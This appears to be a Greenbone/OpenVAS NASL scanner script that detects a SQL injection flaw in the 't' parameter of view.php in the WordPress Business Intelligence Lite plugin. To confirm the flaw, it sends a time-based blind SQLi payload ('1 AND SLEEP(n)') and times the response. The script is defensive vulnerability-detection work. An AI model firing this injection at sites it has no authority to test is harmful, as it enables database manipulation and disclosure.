WordPress Business Intelligence Lite SQL Injection Vulnerability

# SPDX-FileCopyrightText: 2015 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:wordpress:wordpress";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.805366");
  script_version("2023-07-25T05:05:58+0000");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"2023-07-25 05:05:58 +0000 (Tue, 25 Jul 2023)");
  script_tag(name:"creation_date", value:"2015-04-10 12:21:47 +0530 (Fri, 10 Apr 2015)");
  script_tag(name:"qod_type", value:"remote_analysis");
  script_name("WordPress Business Intelligence Lite SQL Injection Vulnerability");

  script_tag(name:"summary", value:"WordPress Business Intelligence Lite is prone to an SQL injection (SQLi) vulnerability.");

  script_tag(name:"vuldetect", value:"Send a crafted request via HTTP GET and
  check whether it is able to execute sql query or not.");

  script_tag(name:"insight", value:"Flaw is due to the 'view.php' script not
  properly sanitizing user-supplied input to the 't' parameter.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote
  attackers to inject or manipulate SQL queries in the back-end database,
  allowing for the manipulation or disclosure of arbitrary data.");

  script_tag(name:"affected", value:"WordPress Business Intelligence Lite Plugin
  version 1.6.1, Prior versions may also be affected.");

  script_tag(name:"solution", value:"Upgrade to WordPress Business Intelligence
  Lite Plugin 1.6.2 or later.");

  script_tag(name:"solution_type", value:"VendorFix");

  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/36600");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2015 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_wordpress_http_detect.nasl");
  script_mandatory_keys("wordpress/http/detected");
  script_require_ports("Services/www", 80);
  script_xref(name:"URL", value:"https://wordpress.org/plugins/wp-business-intelligence-lite");
  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

wait_extra_sec = 5;

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

# Added two times, to make sure its working properly
sleep = make_list(3, 5);

# Use sleep time to check we are able to execute command
foreach sec (sleep)
{
  url = dir + "/wp-content/plugins/wp-business-intelligence-lite/view.php?t=1%20AND%20SLEEP(" + sec + ")";

  req = http_get(item:url, port:port);

  start = unixtime();
  res = http_keepalive_send_recv(port:port, data:req);
  stop = unixtime();
  time_taken = stop - start;
  if(time_taken + 1 < sec || time_taken > (sec + wait_extra_sec)) exit(99);
}

report = http_report_vuln_url(port:port, url:url);
security_message(port:port, data:report);
exit(0);